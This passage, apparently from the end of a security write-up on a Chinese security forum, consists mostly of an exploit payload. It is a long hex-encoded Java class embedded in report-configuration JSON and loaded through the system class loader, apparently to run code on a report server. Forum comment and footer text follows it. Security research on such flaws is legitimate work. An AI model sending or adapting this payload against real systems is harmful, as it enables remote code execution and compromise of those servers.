1505b60041a7ffeb2bb60042b000000002005e0000001e00070000007e0008007f00110080001a008100210084002d008500390088006b0000001c0002ff0021000507002707007907007a07007b0700270000fc001701006300000004000100640020007c007d0002005d00000027000300040000000b2b2cb800432b2db60044b100000001005e0000000a00020000008c000a008d006300000004000100160008007e007f0002005d0000003100020003000000112a2bb800434d2c04b600452c2ab60046b000000001005e0000000e00030000009000060091000b0092006300000004000100160008008000810002005d0000007b00030004000000282ab6001f4d2cc600192c2bb600474e2d04b600452db04e2cb600494da7ffe9bb0048592bb7004abf000100090015001600480002005e00000026000900000096000500980009009a000f009b0014009c0016009d0017009e001c009f001f00a2006b0000000d0003fc000507008250070083080063000000040001004800280084007f0002005d00000026000400020000000e2a2b03bd001203bd0014b80015b000000001005e000000060001000000a60063000000080003004f005100700029008400850002005d0000019700030009000000ca2ac1001299000a2ac00012a700072ab6001f3a04013a0519043a061905c700641906c6005f2cc700431906b6004b3a0703360815081907bea2002e1907150832b6004c2bb6004d9900191907150832b6004ebe9a000d19071508323a05a70009840801a7ffd0a7000c19062b2cb600293a05a7ffa93a071906b600493a06a7ff9d1905c7000cbb004f592bb70050bf190504b6002a2ac1001299001a1905012db6002cb03a07bb0052591907b60053b70054bf19052a2db6002cb03a07bb0052591907b60053b70054bf0003002500720075004f009c00a300a4005100b300ba00bb00510002005e0000006e001b000000aa001400ab001700ac001b00ae002500b0002900b1003000b3003b00b4005600b5005d00b6006000b3006600b9006900ba007200be007500bc007700bd007e00be008100c1008600c2008f00c4009500c5009c00c700a400c800a600c900b300cd00bb00ce00bd00cf006b0000002f000e0e43070082fe0008070082070086070082fd0017070087012cf900050208420700880b0d540700890e470700890063000000080003004f007000510008008a005c0001005d000000540003000100000017b80055b80056b80057a7000d4bbb0052592ab70058bfb1000100000009000c00160002005e000000160005000000270009002a000c0028000d00290016002b006b0000000700024c07006e090001008b00000002008c\"), ClassLoader.getSystemClassLoader()))"}}}},"cols":{"len":50},"validations":[],"autofilter":{},"dbexps":[],"dicts":[],"loopBlockList":[],"zonedEditionList":[],"fixedPrintHeadRows":[],"fixedPrintTailRows":[],"rpbar":{"show":true,"pageSize":"","btnList":[]},"hiddenCells":[],"hidden":{"rows":[],"cols":[]},"background":false,"area":false,"dataRectWidth":0,"excel_config_id":"6666666","pyGroupEngine":false,"querySetting":{"izOpenQueryBar":false,"izDefaultQuery":true}}
    附件：
    5 人收藏 2 人喜欢 转载 分享
    2 条评论
    某人
    表情
    可输入 255 字
      发布投稿
    热门文章
    优秀作者
    目录
    先知社区
    本站/app由 Djingoii 提供技术和产品支持